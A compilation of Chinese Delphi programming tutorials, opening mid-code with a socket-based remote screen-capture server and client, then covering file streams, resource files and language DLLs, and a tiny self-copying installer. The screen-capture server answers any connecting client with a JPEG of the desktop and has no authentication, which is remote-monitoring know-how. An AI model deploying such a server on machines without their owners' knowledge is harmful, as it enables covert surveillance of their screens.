DeleteObject(pIconInfo.hbmMask);{否则,调用他后,他会创建一个bitmap,多次调用会产生多个,直至资源耗尽}
Mycursor.ReleaseHandle; {释放数组内存}
MyCursor.Free; {释放鼠标指针}
end;
end;
procedure TForm1.FormCreate(Sender: TObject);
begin
ServerSocket1.Port := 3000; {端口}
ServerSocket1.Open; {Socket开始侦听}
end;
procedure TForm1.FormClose(Sender: TObject; var Action: TCloseAction);
begin
if ServerSocket1.Active then ServerSocket1.Close; {关闭Socket}
end;
procedure TForm1.ServerSocket1ClientRead(Sender: TObject;
Socket: TCustomWinSocket);
var
S, S1: string;
MyBmp: TBitmap;
Myjpg: TJpegimage;
begin
S := Socket.ReceiveText;
if S = 'cap' then {客户端发出抓屏幕指令}
begin
try
MyStream := TMemorystream.Create;{建立内存流}
MyBmp := TBitmap.Create;
Myjpg := TJpegimage.Create;
Cjt_GetScreen(MyBmp, True); {True表示抓鼠标图像}
Myjpg.Assign(MyBmp); {将BMP图象转成JPG格式,便于在互联网上传输}
Myjpg.CompressionQuality := 10; {JPG文件压缩百分比设置,数字越大图像越清晰,但数据也越大}
Myjpg.SaveToStream(MyStream); {将JPG图象写入流中}
Myjpg.free;
MyStream.Position := 0;{注意:必须添加此句}
s1 := inttostr(MyStream.size);{流的大小}
Socket.sendtext(s1); {发送流大小}
finally
MyBmp.free;
end;
end;
if s = 'ready' then {客户端已准备好接收图象}
begin
MyStream.Position := 0;
Socket.SendStream(MyStream); {将流发送出去}
end;
end;
end.

上面是服务端，下面我们来写客户端程序。新建一个工程，添加Socket控件ClientSocket、图像显示控件Image、一个 Panel 、一个Edit、两个 Button和一个状态栏控件StatusBar1。注意：把Edit1和两个 Button放在Panel1上面。ClientSocket的属性跟ServerSocket差不多，不过多了一个Address属性，表示要连接的服务端IP地址。填上IP地址后点“连接”将与服务端程序建立连接，如果成功就可以进行通讯了。点击“抓屏”将发送字符给服务端。因为程序用到了JPEG图像单元，所以要在Uses中添加Jpeg.
全部代码如下：
unit Unit2{客户端};
interface
uses
Windows,Messages,SysUtils,Classes,Graphics,Controls,Forms,Dialogs,StdCtrls,ScktComp,ExtCtrls,Jpeg, ComCtrls;
type
TForm1 = class(TForm)
ClientSocket1: TClientSocket;
Image1: TImage;
StatusBar1: TStatusBar;
Panel1: TPanel;
Edit1: TEdit;
Button1: TButton;
Button2: TButton;
procedure Button1Click(Sender: TObject);
procedure ClientSocket1Connect(Sender: TObject;
Socket: TCustomWinSocket);
procedure Button2Click(Sender: TObject);
procedure ClientSocket1Error(Sender: TObject; Socket: TCustomWinSocket;
ErrorEvent: TErrorEvent; var ErrorCode: Integer);
procedure ClientSocket1Read(Sender: TObject; Socket: TCustomWinSocket);
procedure FormCreate(Sender: TObject);
procedure FormClose(Sender: TObject; var Action: TCloseAction);
procedure ClientSocket1Disconnect(Sender: TObject;
Socket: TCustomWinSocket);
private
{ Private declarations }
public
{ Public declarations }
end;
var
Form1: TForm1;
MySize: Longint;
MyStream: TMemorystream;{内存流对象}
implementation
{$R *.DFM}
procedure TForm1.FormCreate(Sender: TObject);
begin
{-------- 下面为设置窗口控件的外观属性 ------------- }
{注意:把Button1、Button2和Edit1放在Panel1上面}
Edit1.Text := '127.0.0.1';
Button1.Caption := '连接主机';
Button2.Caption := '抓屏幕';
Button2.Enabled := false;
Panel1.Align := alTop;
Image1.Align := alClient;
Image1.Stretch := True;
StatusBar1.Align:=alBottom;
StatusBar1.SimplePanel := True;
{----------------------------------------------- }
MyStream := TMemorystream.Create; {建立内存流对象}
MySize := 0; {初始化}
end;
procedure TForm1.Button1Click(Sender: TObject);
begin
if not ClientSocket1.Active then
begin
ClientSocket1.Address := Edit1.Text; {远程IP地址}
ClientSocket1.Port := 3000; {Socket端口}
ClientSocket1.Open; {建立连接}
end;
end;
procedure TForm1.Button2Click(Sender: TObject);
begin
Clientsocket1.Socket.SendText('cap'); {发送指令通知服务端抓取屏幕图象}
Button2.Enabled := False;
end;
procedure TForm1.ClientSocket1Connect(Sender: TObject;
Socket: TCustomWinSocket);
begin
StatusBar1.SimpleText := '与主机' + ClientSocket1.Address + '成功建立连接!';
Button2.Enabled := True;
end;
procedure TForm1.ClientSocket1Error(Sender: TObject;
Socket: TCustomWinSocket; ErrorEvent: TErrorEvent;
var ErrorCode: Integer);
begin
Errorcode := 0; {不弹出出错窗口}
StatusBar1.SimpleText := '无法与主机' + ClientSocket1.Address + '建立连接!';
end;
procedure TForm1.ClientSocket1Disconnect(Sender: TObject;
Socket: TCustomWinSocket);
begin
StatusBar1.SimpleText := '与主机' + ClientSocket1.Address + '断开连接!';
Button2.Enabled := False;
end;
procedure TForm1.ClientSocket1Read(Sender: TObject;
Socket: TCustomWinSocket);
var
MyBuffer: array[0..10000] of byte; {设置接收缓冲区}
MyReceviceLength: integer;
S: string;
MyBmp: TBitmap;
MyJpg: TJpegimage;
begin
StatusBar1.SimpleText := '正在接收数据......';
if MySize = 0 then {MySize为服务端发送的字节数，如果为0表示为尚未开始图象接收}
begin
S := Socket.ReceiveText;
MySize := Strtoint(S); {设置需接收的字节数}
Clientsocket1.Socket.SendText('ready'); {发指令通知服务端开始发送图象}
end
else
begin {以下为图象数据接收部分}
MyReceviceLength := socket.ReceiveLength; {读出包长度}
StatusBar1.SimpleText := '正在接收数据,数据大小为:' + inttostr(MySize);
Socket.ReceiveBuf(MyBuffer, MyReceviceLength); {接收数据包并读入缓冲区内}
MyStream.Write(MyBuffer, MyReceviceLength); {将数据写入流中}
if MyStream.Size >= MySize then {如果流长度大于需接收的字节数，则接收完毕}
begin
MyStream.Position := 0;
MyBmp := tbitmap.Create;
MyJpg := tjpegimage.Create;
try
MyJpg.LoadFromStream(MyStream); {将流中的数据读至JPG图像对象中}
MyBmp.Assign(MyJpg); {将JPG转为BMP}
StatusBar1.SimpleText := '正在显示图像';
Image1.Picture.Bitmap.Assign(MyBmp); {分配给image1元件 }
finally {以下为清除工作 }
MyBmp.free;
MyJpg.free;
Button2.Enabled := true;
{ Socket.SendText('cap');添加此句即可连续抓屏 }
MyStream.Clear;
MySize := 0;
end;
end;
end;
end;
procedure TForm1.FormClose(Sender: TObject; var Action: TCloseAction);
begin
MyStream.Free; {释放内存流对象}
if ClientSocket1.Active then ClientSocket1.Close; {关闭Socket连接}
end;
end.

程序原理：运行服务端开始侦听，再运行客户端，输入服务端IP地址建立连接，然后发一个字符通知服务端抓屏幕。服务端调用自定义函数Cjt_GetScreen抓取屏幕存为BMP，把BMP转换成JPG，把JPG写入内存流中，然后把流发送给客户端。客户端接收到流后做相反操作，将流转换为JPG再转换为BMP然后显示出来。
注意：因为Socket的限制，不能一次发送过大的数据，只能分几次发。所以程序中服务端抓屏转换为流后先发送流的大小，通知客户端这个流共有多大，客户端根据这个数字大小来判断是否已经接收完流，如果接收完才转换并显示。
这个程序跟前面的自制OICQ都是利用了内存流对象TMemoryStream。其实，这个流对象是程序设计中用得最普遍的，它可以提高I/O的读写能力，而且如果你要同时操作几个不同类型的流，互相交换数据的话，用它作“中间人”是最好不过的了。比如说你把一个流压缩或者解压缩，就先建立一个TMemoryStream对象，然后把别的数据拷贝进去，再执行相应操作就可以了。因为它是直接在内存中工作，所以效率是非常高的。有时侯甚至你感觉不到有任何的延迟。
程序有待改进的地方：当然可以加一个压缩单元，发送前先压缩再发送。注意：这里也是有技巧的，就是直接把BMP压缩而不要转换成JPG再压。实验证明：上面程序一幅图像大小大概为40-50KB，如果用LAH压缩算法处理一下便只有8-12KB，这样传输起来就比较快。如果想更快的话，可以采用这样的方法：先抓第一幅图像发送，然后从第二幅开始只发跟前一幅不同区域的图像。外国有一个程序叫Remote Administrator，就是采用这样的方法。他们测试的数据如下：局部网一秒钟100-500幅，互联网上，在网速极低的情况下，一秒钟传输5-10幅。说这些题外话只想说明一个道理：想问题，特别是写程序，特别是看起来很复杂的程序，千万不要钻牛角尖，有时侯不妨换个角度来想。程序是死的，人才是活的。当然，这些只能靠经验的积累。但是一开始就养成好习惯是终身受益的！

★作者:

陈经韬

Http:Lovejingtao.126.com
E-Mail: Lovejingtao@21.cn.com

©CopyRight 2000-2001


CSDN_文档中心_谈Delphi编程中“流”的应用--可读写信息在文件中

因为文件结构相当的复杂，了解起来也是相当的困难，我们可以在不知道需要加工的文件的结构的前提下，采用了流的操作方式来往一个文件中写信息。采用流的方式有以下的好处：流,简单来说就是建立在面向对象基础上的一种抽象的处理数据的工具。在流中，定义了一些处理数据的基本操作，如读取数据，写入数据等，程序员是对流进行所有操作的，而不用关心流的另一头数据的真正流向。流不但可以处理文件，还可以处理动态内存、网络数据等多种数据形式。在程序中利用流的方便性，写起程序会大大提高效率的。

编程环境是delphi6

I、addinfo.exe应该要有的功能：

1、 可以随意的选择需要添加信息的文件。 可使用驱动列表（DriveComboBox1）、路径列表（DirectoryListBox1）、文件列表（FileListBox1），并把他们关联起来。

2、 添加信息到所选定的文件中。

① 先得判断是否选定了文件，没有则得提示用户得选定一个具体需要添加信息的文件。定一个全局布尔型的变量nofile，在创建主窗口的时候赋值nofile:=false，即没有选定文件，然后在选定文件的时候赋值nofile:=ture, 在点击addinfo按钮时即调用添加信息到文件是的函数，先得判断nofile的值是否为真，是的话才执行添加信息的代码，不是提示用户得选定一个具体需要添加信息的文件。

② 判断所选定的文件的属性，看是不是有只读属性，有的话则要去掉它的只读属性。if (faReadOnly=(attributes and faReadOnly)) then

begin

attributes:=attributes-1;

qudiaoread:=SetFileAttributes(PChar(filenamet),attributes);

end；

③ 判断需要添加的信息（影名、价格）是否为空，如果是空的提示用户得编辑addinfo组框中的信息。

④ 创建一个内存流strStream，以文件流的写方式打开一个选定的文件TargetStream，定位文件流TargetStream到文件的结尾处TargetStream.Seek(0,soFromEnd);把影名信息存到文件流中MemoName.Lines.SaveTOStream(strStream);并计好内存流strStream的大小temp，把价格信息存到内存流strStream中MemoPrice.Lines.SaveTOStream(strStream);把此时的内存流的大小减去前面内存流的大小temp就可以得到价格信息在内存流的大小了。把内存的信息全部拷贝到文件流TargetStream中TargetStream.CopyFrom(strStream,strStream.Size);再就是往文件流中添加一些控制信息，// myinfosize为辅助尾部的大小，namesize影名被添加到文件的位置，pricesize价格被添加到文件的位置

如图所示：

II、readinfo.exe的功能

1、 可以随意的选择需要添加信息的文件。 可使用驱动列表（DriveComboBox1）、路径列表（DirectoryListBox1）、文件列表（FileListBox1），并把他们关联起来。

2、 从所选定的文件中读信息。

① 先得判断是否选定了文件，没有得提示用户得选定一个具体需要添加信息的文件。定一个全局布尔型的变量nofile，在创建主窗口的时候赋值nofile:=false，即没有选定文件，然后在选定文件的时候赋值nofile:=ture, 在点击addinfo按钮时即调用添加信息到文件是的函数，先得判断nofile的值是否为真，是的话才执行添加信息的代码，不是提示用户得选定一个具体需要添加信息的文件。

② 以文件流的写方式打开一个选定的文件TargetStream，定位文件流TargetStream到文件的辅助信息长度处TargetStream.Seek(-sizeof(myinfosize),soFromEnd);读出辅助信息的长度，根据辅助信息myinfosize可以找到影名的位置namesize，读出namesize后文件指针主动移动到价格的位置pricesize出，读出pricesize；这样我就可以根据namesize定位影名的位置，用namesize－pricesize可得到影名的大小，读出影名到结构体变量AddinfoType.vodname,根据pricesize可定位价格的位置，读出价格到结构体的变量AddinfoType.vodprice，并AddinfoType.vodname和AddinfoType.vodprice到窗体的影名和价格的文本编辑框中。

III、还可以扩展的功能：

1、 因为这是根据流的操作，所以我可以加任意多的信息到文件中去,我们只需对应的添加辅助信息就OK。

2、 我们可以定义一些默认的值，这样就可以节约输入信息的时间。

3、 可以在添加信息中的定义一个标签如（TAG），这样在readinfo中读出看是否为此标签（TAG）来确定这个文件是否经过我们程序的加工，或者加工是否正确！！

相关文件：谈Delphi编程中“流”的应用---陈经韬


CSDN_文档中心_谈Delphi编程中资源文件的应用

谈Delphi编程中资源文件的应用
<<电脑商情报>>稿件
谈Delphi编程中资源文件的应用
陈经韬
(一)初级应用篇:
资源文件一般为扩展名为res的文件.在VC中资源文件用得非常普遍,但Delphi在其联机帮助中对资源文件没作什么介绍,其实利用其自带的资源编译工具BRCC32.EXE(一般位于\Delphi\BIN目录下）,我们完全可以做出跟VC一样效果的文件来。
资源文件最大的好处是能将一些在必要时才调用的文件跟可执行文件一起编译,生成一个文件.这样做最大的好处就是使外部文件免遭破坏.例如在一条程序中你要临时调用一幅图片,一般作法是把图片放在某一路径下（通常是主程序所在路径）,但如果用户路径误删你的图片文件,则可能使程序找不到相应文件而出错崩溃.另外,如果你想自己的程序界面美观,想用一些自定义光标,也要用到资源文件。
资源文件的使用步骤为：
1.编写rc脚本文本
用记事本或其它文本编辑器编写一个扩展名为rc的文件。例如：

mycur cursor move.cur //加入光标
mypic Bitmap Water.BMP //加入位图
mywav WAVE happy.wav //加入声音
myAVI AVI EPOEN.AVI //加入视频
myIco ICON CJT.ICO //加入图标

格式分别为在资源文件中的名称->类型->实际文件名称，例如上面第一行定义一个名为mycur的光标，实际名称为加入光标move.cur.
2.将rc文件编译成res资源文件
将脚本文件和实际文件拷到Brcc32.EXE所在目录，执行DOS命令。格式为：Brcc32 脚本文件(回车)，例如有一名为myfirst.rc的脚本文件，则执行 Brcc32 myfirst.rc(回车)即可。如果你是懒人，也可新建一批处理文件，内容只有一行：Brcc32 mufist.rc.(因为Delphi安装后一般会在自动批处理文件中指明搜索路径的。)如果编译成功，则会生成一个结尾为res的文件，这个文件就是我们需要的资源文件。
3.在Delphi单元中加入资源文件
将生成的res资源文件拷贝到你所编程序的路径下，在单元文件{$R *DFM}后加上一句{$R mufirst.res}，则将res文件加入去，编译后资 源文件即已包含在可执行文件中了。若你有多个资源文件，也按上法依次加入。
4.在Delphi程序中调用资源文件
资源文件在Delphi中的关键字为hinstance.下面给出具体用法.
<1>光标的调用
首先在程序中定义一个值大于0的常量，因为Delphi本身用0-负16来索引默认的光标，所以我们制定的光标应从表面上1开始索引。然后在窗口的Oncreat事件中添加以下代码：
screen.cursor[35]:=Loadcursor (hinstance,'mycur');
其中35为大于1的常量，mycur为光标在资源文件中的名字。如果希望在其他控件上使用定制光标，例如Panel控件，只需在程序的适当处加入以下代码：
Panel1.cursor:=35;
<2>位图的调用
新建一项工程，添加一Timage控件，在需要显示的地方写以下代码：
Var mymap:Hbitmap;
begin
mymap:=LoadBitmap(hinstance,'mypic');
Image1.picture.Bitmap.Handle:=mymap；
end;
其中"mypic"为位图资源文件中的名称。
〈3〉AVI文件的调用
新建一工程，添加一Animate控件，在需要的地方加入：
animater1.resname:='myAVI';
animater1.Active:=true;
其中myAVI为视频文件在资源文件中的名称。
〈4〉调用WAV文件
在uses中加入mmsystm单元，以便在程序中播放WAV文件。播放时Playsound(pchar('mywav'),hinstance,sndsync or snd_resource);其中mywav为声音文件在资源中的名称。
〈5〉加入光标
加入光标比较容易，只要将res文件加入单元文件中即可。但需注意,名称最好取"W"."WW"等，使第一个字母尽量靠后，以免与主程序的图标顺序颠倒。这样一来，别人在使用你的程序时如果想选择其它图标就有很多选择了。
补充：
1.资源类型除上述类型外，还可以字体文件，字符串文件等。
2.资源文件不但可以在标准图形界面下使用还可在控制台下使用。
下面我们来试验一下：
新建一工程，将唯一的一个Form删除，然后修改工程文件。增加一句{$Apptype console},在uses子句中加入mmsystem,并将其它引用单元删掉。将Begin和end之间语句删掉。至此，我们就可和Turbo PASCAL下编程序一样，且还可以调用windows的API和资源。将资源文件----{$R myfist.res}加入。在Begin和end之间写下：
writeln('演示程序，按任意键开始！');
readln;
playsound(pchar('mywav'),hinstance,snd_sync or snd_resource);
writeln('演示结束！');
运行程序，将弹出一个标准DOS窗口，按任意键播放声音文件。是不是很COOL呢!我曾下载过一个播放器，在其安装目录下我发现有一"DOS程序",用鼠标双击它便弹出一个DOS窗口，显示DOS时代特有的画图，并有背景音乐！可能就是用这个方法做的。
3.Delphi本身自带了一个叫Image Editor的工具，同样可以编辑资源文本，但和本文的方法比较，可得出下表：

**************************************
Image Editor Brcc32

BMP 只支持16位色 任意色

光标 黑白两色 任意色

ICO 只支持16位色 任意色

AVI 不支持 支持

WAV 不支持 支持

字体
字符串 不支持 支持
其他
****************************************

上面说的是直接在程序本身的调用。其实资源文件还有其它用法。比如说在你的程序携带其它文件，要用的时候释放出来。
例如: myexe exefile 'ha1.exe'//脚本文件
下面是自定义释放函数ExtractRes，本例中使用如下:
ExtractRes('exefile','myexe','c:\new.exe');
就把ha1.exe以new.exe为名字保存到C盘根目录下了.

function TForm1.ExtractRes(ResType, ResName, ResNewName: string): boolean;
var
Res: TResourceStream;
begin
try
Res := TResourceStream.Create(Hinstance, Resname, Pchar(ResType));
try
Res.SavetoFile(ResNewName);
Result := true;
finally
Res.Free;
end;
except
Result := false;
end;
----------------------------------------------------------------------
(二)中级应用篇:
上面我们已经知道如何把一副BMP图像从资源文件里面读出来,但是BMP文件太大了,JPG文件应用的相对较多.那么如何把JPG图像读出来呢?用资源文件加流方式即可。具体方法如下:
(1)MyJpg JPEG　My.JPG
(2)Var
      Stream:TStream;
      MyJpg:TJpegImage;
    Begin
      Stream：＝TResourceStream.Cceat(HINSTANCE,'MyJpg','JPEG');
      Try
          MyJpg:=TJpegImage.Create;
        Try
            MyJpg.LoadfromStream(Stream);
            Image1.Picture.Assignc(MyJpg);
        Finally
            MyJpg.Free;
        end;
      Finally
        Stream.Free;
      end;
    end;
读取其它图片文件也是一样的.比如说gif动画文件，当然前提是你有一个gif.pas，这个单元很多站点都有的，可以自己去找找。实际应用中我还发现用上面的代码可以直接显示资源文件中的ICON和BMP.
说到图形处理,实际上还可以用Delphi创建、调用纯图标资源的DLL.比如说你可以看看超级解霸目录下的Dll,很多就是纯图标资源而已。具体方法如下:
(1):创建一个Hicon.RES文件,这里不再重复.
(2):新建一文本文件Icon.dpr,内容如下:
library Icon;
{$R Icon.RES}
begin
end.
用Delphi打开编译即可得到Icon.dll.
(3):实际调用方法如下:
......
  Private
    Hinst:THANDLE;
......
  Var　Hicon:THANDLE;
begin
  Hinst:=Loadlibrary('Icon.dll');
  If　Hinst=0　Then　Exit；
  Hicon:=Loadicon(Hinst,Pchar(Edit1.Text));
If　Hicon<>0　Then　Image1.Picture.Icon.Handle:=Hicon;
  FreeLibrary(Hinst);
end;
如果你的程序想在国际上供使用不同语言的人使用的话,用Dll来存放字符资源将是一个好方法.因为Dll不象ini文件那样可以被人随便修改,特别是有时侯如果想保存一些版权信息的话用Dll就再好不过了。比如说你准备开发一个"汉字简繁体翻译器"软件,准备提供Gb32,Big5码和英文三种语言菜单给用户,那么你可以试试用Dll来保存字符资源.
我们需要建立三个Dll.第一步当然是写Rc文件,举Gb32码为例,内容如下:
/*MySc.rc*/
#define IDS_MainForm_Caption 1
#define IDS_BtnOpen_Caption 2
#define IDS_BtnSave_Caption 3
#define IDS_BtnBig5_Caption 4
#define IDS_BtnGb32_Caption 5
#define IDS_BtnHelp_Caption 6
#define IDS_Help_Shelp 7
Stringtable
{
IDS_MainForm_Caption,"汉字简繁体翻译器"
IDS_BtnOpen_Caption,"打开文件"
IDS_BtnSave_Caption,"保存文件"
IDS_BtnBig5_Caption,"转换成Big5"
IDS_BtnGb32_Caption,"转换成Gb32"
IDS_BtnHelp_Caption,"帮助"
IDS_Help_Shelp,"输入文字或打开文件后按需要点击按钮即可转换!"
}
第二步是Brcc32编译为Res文件后用上面的方法得到Dll文件,另外两个Dll用同样的方法生成.下面来应用一下:
新建一个工程,放上五个Button:BtnOpen,BtnSave,BtnBig5,BtnGb32和BtnHelp.还有一个TComboBox:CbSelect用来选择语言种类的.
具体代码如下:
unit Unit1;
interface
......
private
SHelp: string;
function SearchLanguagePack: TStrings;
procedure SetActiveLanguage(LanguageName: string);
{ Private declarations }
......
implementation
procedure TForm1.CbSelectChange(Sender: TObject);
begin
SetActiveLanguage(CbSelect.Text);//调用相应Dll文件读取相应字符.
end;
procedure TForm1.FormCreate(Sender: TObject);
begin
CbSelect.Items.AddStrings(SearchLanguagePack);//搜索当前目录下所有的Dll文件名称
end;
function TForm1.SearchLanguagePack: TStrings;
var
ResultStrings: TStrings;
DosError: integer;
SearchRec: TsearchRec;
begin
ResultStrings := TStringList.Create;
DosError := FindFirst(ExtractFilePath(ParamStr(0)) + '*.dll', faAnyFile, SearchRec);
while DosError = 0 do
begin
ResultStrings.Add(ChangeFileExt(SearchRec.Name, ''));
DosError := FindNext(SearchRec);
end;
FindClose(SearchRec);
Result := ResultStrings;
end;

procedure TForm1.SetActiveLanguage(LanguageName: string);
var
Hdll: Hmodule;
MyChar: array[0..254] of char;
DllFileName: string;
begin
DllFileName := ExtractFilePath(ParamStr(0)) + LanguageName + '.dll';
if not FileExists(DllFileName) then Exit;
Hdll := loadlibrary(Pchar(DllFileName));

Loadstring(hdll, 1, MyChar, 254);
Self.Caption := MyChar;
//读取字符资源，1表示资源文件中定义的1
Loadstring(hdll, 1, MyChar, 254);
Self.Caption := MyChar;

Loadstring(hdll, 2, MyChar, 254);
BtnOpen.Caption := MyChar;

Loadstring(hdll, 3, MyChar, 254);
BtnSave.Caption := MyChar;

Loadstring(hdll, 4, MyChar, 254);
BtnBig5.Caption := MyChar;

Loadstring(hdll, 5, MyChar, 254);
BtnGb32.Caption := MyChar;

Loadstring(hdll, 6, MyChar, 254);
BtnHelp.Caption := MyChar;

Loadstring(hdll, 7, MyChar, 254);
SHelp := MyChar;

Freelibrary(hdll);
Application.Title := Self.Caption;
//------------------------
BtnOpen.Visible := True;
BtnSave.Visible := True;
BtnBig5.Visible := True;
BtnGb32.Visible := True;
BtnHelp.Visible := True;
//------------------------
end;
procedure TForm1.BtnHelpClick(Sender: TObject);
begin
Application.MessageBox(Pchar(SHelp), 'Http://lovejingtao.126.com', MB_ICONINFORMATION);
end;
end.
可能你会说,这种方法还不如我自己在程序中直接定义三种具体的值来的方便.甚至我自己自定义一个结构好了，用不着用DLL那么麻烦的。但是如果你的程序要用的字符很多呢?比如说Windows操作系统,本身就有简体中文,繁体中文,英文等等版本,用Dll的话只要直接替换DLL即可,而不用每发行一个版本就打开代码来修改一次。这样一来可以大大减少工作量和出错的机会.说到这里,再多说一句:Windows系统本身很多Dll带有了图片等资源,我们可以在程序中直接调用,这样一来我们的EXE也可以减少不少!当然最小的方法是实时生成技术.老外曾经写了一个67KB的程序就是利用了这个方法.感兴趣的朋友可以到http://go4.163.com/lovejingtao/ha1.exe下载.
----------------------------------------------------------------------
(三)高级应用篇:
Delphi是个很有效率的开发工具,但是它有一个缺点就是生成的EXE文件太大.一个程序就算只有一个空窗口体积也有286KB.如果直接用API来写的话程序体积是小了,但是又太繁琐,无法立即看到界面效果,根本谈不上是可视化开发.其实并非"鱼与熊掌不可兼得",利用资源文件我们就可以轻松达到这个目的.
在开始之前,我们需要一个可以编辑资源文件的工具.这类工具很多,比如说Resource WorkShop就是非常好的一个.如果一时找不到,利用VC的编辑器来也是可以的.下面我们就以VC的为例示范如何创建一个窗口资源文件.运行VC,打开菜单File-->New,将出现一个多项选择页.我们选择Files-->ResourceTemplate,在右边的File填上Demo,Location选择保存路径,然后点击按钮OK返回VC开发环境.
选择菜单Insert-->Resource,将出现一个资源类型选择框.我们把鼠标移到Dialog上面.不用展开,点击右边的New即可,这时候返回VC开发环境并出现一个只有关闭按钮和两个Button的窗体.将鼠标选定窗体,击右键选择最后一项Properties,将出现一个设置窗口,将ID改为"MAINFORM"(注意:跟下面添加的其它控件的属性设置方法不同,主窗口的ID必须把双引号写上去,而且名称必须为大写.否则程序将找不到资源.程序会一运行就退出了.)Caption改为"安装程序",这时候可以立刻看到窗口的标题变成了"安装程序",把Styles的Minimize box选上,More Styles的Center勾上使程序运行时的位置居中.当然你也可以设置它的坐标.其它保留默认值即可.回到开发环境,在控件框里面分别选择一个Static Text,一个Edit Box,一个Button和一个Group Box添加到窗体上面.把它们按照自己的爱好排列整齐.然后逐个修改它们的属性.方法就是按照上面说的选定控件后击右键选择最后一项Properties,在出现的属性框里面修改.其中属性如下:Group Box的Caption属性清空,Static Text的Caption属性改为"请选择安装目录:",Edit Box的ID改为10001.第一个Button的ID为10002,Caption属性为"选择",第二个Button的ID为10003,Caption属性为"安装",第三个Button的ID为10004,Caption属性为"退出".为了使程序更加完美,我们为它再添加一个菜单IDR_MENU1.选择Insert-->Resource-->Menu,我们这里只简单添加一项"文件-->退出",其中"退出"的ID为10005.然后在主窗口的属性Menu设定为IDR_MENU1即可.
为了使程序更加美观,我们再添加一个小图标,同时这也将是我们程序的图标.选择Insert-->Resource-->Icon-->Import,选择一个图标文件.并将它的ID设置为"MAINICON"(注意:必须把双引号写上而且字母为大写),为窗口添加一个Picture控件并设置它的属性Type:Icon,Image下拉选择刚才的图标MainIcon即可.
如果你想为程序在鼠标添加一些信息也是可以的.选择Insert-->Resource-->Version即可.
到这里我们已经完成了一个简单的"安装程序"的窗体设计.实际上我们现在就可以在Delphi中调用它了.我们先把"劳动成果"保存起来.选择File-->Save As,在文件类型里选择"32-bit Resource File(.res)"保存为"Demo.res",文件大小大约为2.65KB.
新建一个扩展名为dpr的文本文件MyDemo.Dpr,键入如下代码:
Uses Windows,Messages;
{$R Demo.Res}
function MainDialogProc(DlgWin:hWnd;DlgMessage:UINT;DlgWParam:WPARAM;DlgLParam:LPARAM):integer;stdcall;
begin
Result := 0;
case DlgMessage of
WM_Close:
begin
PostQuitMessage(0);
Exit;
end;
end;
end;
begin
DialogBox(hInstance, 'MAINFORM', 0, @MainDialogProc);
end.
用Delphi打开它编译一次即可产生一个大小为19KB的EXE.是不是很小!实际上,你甚至只用一行代码就把它Show出来,不过程序无法关闭而已.
Uses Windows;
{$R Demo.Res}
function MainDialogProc: integer;
begin
Result := 0;
end;
begin
DialogBox(hInstance, 'MAINFORM', 0, @MainDialogProc);
end.
上面的程序只不过是一个空窗口而已,现在我们来写代码响应按下相应按钮响应的事件.完整代码如下:
program MyDemo;
uses Windows, Messages, shlobj;
const
ID_Edit = 10001;
ID_Selet = 10002;
ID_Setup = 10003;
ID_Quit = 10004;
ID_Exit = 10005;
{$R Demo.Res}
var
MainWin: HWND;

function My_Gettext: string;
var
Textlength: Integer;
Text: PChar;
s: string;
begin
TextLength := GetWindowTextLength(GetDlgItem(MainWin, ID_Edit));
GetMem(Text, TextLength + 1);
GetWindowText(GetDlgItem(MainWin, ID_Edit), Text, TextLength + 1);
s := text;
FreeMem(Text, TextLength + 1);
Result := s;
end;

function Getmyname: string;
var
i, j: integer;
begin
J := 3;
for i := 1 to length(ParamStr(0)) do
if ParamStr(0)[i] = '\' then J := I;
Result := copy(ParamStr(0), J + 1, length(ParamStr(0)) - J);
end;

function SelectDirectory(handle: hwnd; const Caption: string; const Root:WideString;outDirectory:string): Boolean;
var
lpbi: _browseinfo;
buf: array[0..MAX_PATH] of char;
id: ishellfolder;
eaten, att: cardinal;
rt: pitemidlist;
initdir: pwidechar;
begin
result := false;
lpbi.hwndOwner := handle;
lpbi.lpfn := nil;
lpbi.lpszTitle := pchar(caption);
lpbi.ulFlags := BIF_RETURNONLYFSDIRS + BIF_EDITBOX;
SHGetDesktopFolder(id);
initdir := pwchar(root);
id.ParseDisplayName(0, nil, initdir, eaten, rt, att);
lpbi.pidlRoot := rt;
getmem(lpbi.pszDisplayName, MAX_PATH);
try
result := shgetpathfromidlist(shbrowseforfolder(lpbi), buf);
except
freemem(lpbi.pszDisplayName);
end;
if result then
begin
directory := buf;
if length(directory) <> 3 then directory := directory + '\';
end;
end;

function MainDialogProc(
DlgWin: hWnd;
DlgMessage: UINT;
DlgWParam: WPARAM;
DlgLParam: LPARAM
)
: integer; stdcall;
var
MyIcon: HICON;
Sdir: string;
begin
Result := 0;
case DlgMessage of
WM_INITDIALOG:
begin
MyIcon := LoadIcon(hInstance, 'MainIcon');
SetClassLONG(DlgWin, GCL_HICON, MyIcon);
MainWin := DlgWin;
end;
WM_Close:
begin
PostQuitMessage(0);
Exit;
end;
WM_COMMAND:
case LOWORD(DlgWParam) of

ID_Selet:
begin
if SelectDirectory(DlgWin, '请选择安装目录', '', Sdir)
then SendMessage(GetDlgItem(DlgWin, ID_Edit), WM_SETTEXT, 0, lParam(pChar(Sdir)));
end;
ID_Setup:
begin
if My_Gettext = '' then
begin
MessageBox(DlgWin, '请先选择安装文件夹!', '信息', MB_ICONINFORMATION + MB_OK);
Exit;
end;
CopyFile(pchar(ParamStr(0)), pchar(My_Gettext + Getmyname), false);
MessageBox(DlgWin, '安装完毕!', '信息', MB_ICONINFORMATION + MB_OK);
PostQuitMessage(0);
Exit;
end;
ID_Quit:
begin
PostQuitMessage(0);
EXIT;
end;
ID_Exit:
begin
if MessageBox(DlgWin, '你点击了菜单“退出”，你确定退出程序吗?', '信息', MB_ICONQUESTION + MB_OKCANCEL) = IDOK then
PostQuitMessage(0);
Exit;
end;
end;
end;
end;
begin
DialogBox(hInstance, 'MAINFORM', 0, @MainDialogProc);
end.
其中SelectDirectory函数的作用是返回一个选择的文件路径.然后把自己拷贝到选择的目录下,当然很多处理没有写,读者可以自行添加.文件编译后大小为22KB,如果直接用Delphi的VCL来写的话,将为338KB!完整代码可以在我的主页上下载:http://go4.163.com/lovejingtao/setup2.zip.代码中的消息处理相信大家看的懂.如果不用资源文件而直接用API来写将对它更加理解深刻,.限于篇幅这里不做详细介绍,感兴趣的读者可以自行下载代码来看:http://go4.163.com/lovejingtao/setup1.zip.
全部代码在Delphi+Pwin2000下通过.
------------------------------------------------------------------------

★作者:

陈经韬

430074湖北省武汉市武昌民院路湖北经济管理大学计算机系(本)9801班
Http:Lovejingtao.126.com
E-Mail: Lovejingtao@21.cn.com

©CopyRight 2000-2001


CSDN_文档中心_谈Delphi下Internet的编程技巧(一)

谈Delphi下

谈Delphi下Internet的编程技巧(一)
作者:lyboy99

E-mail:lyboy99@sina.com

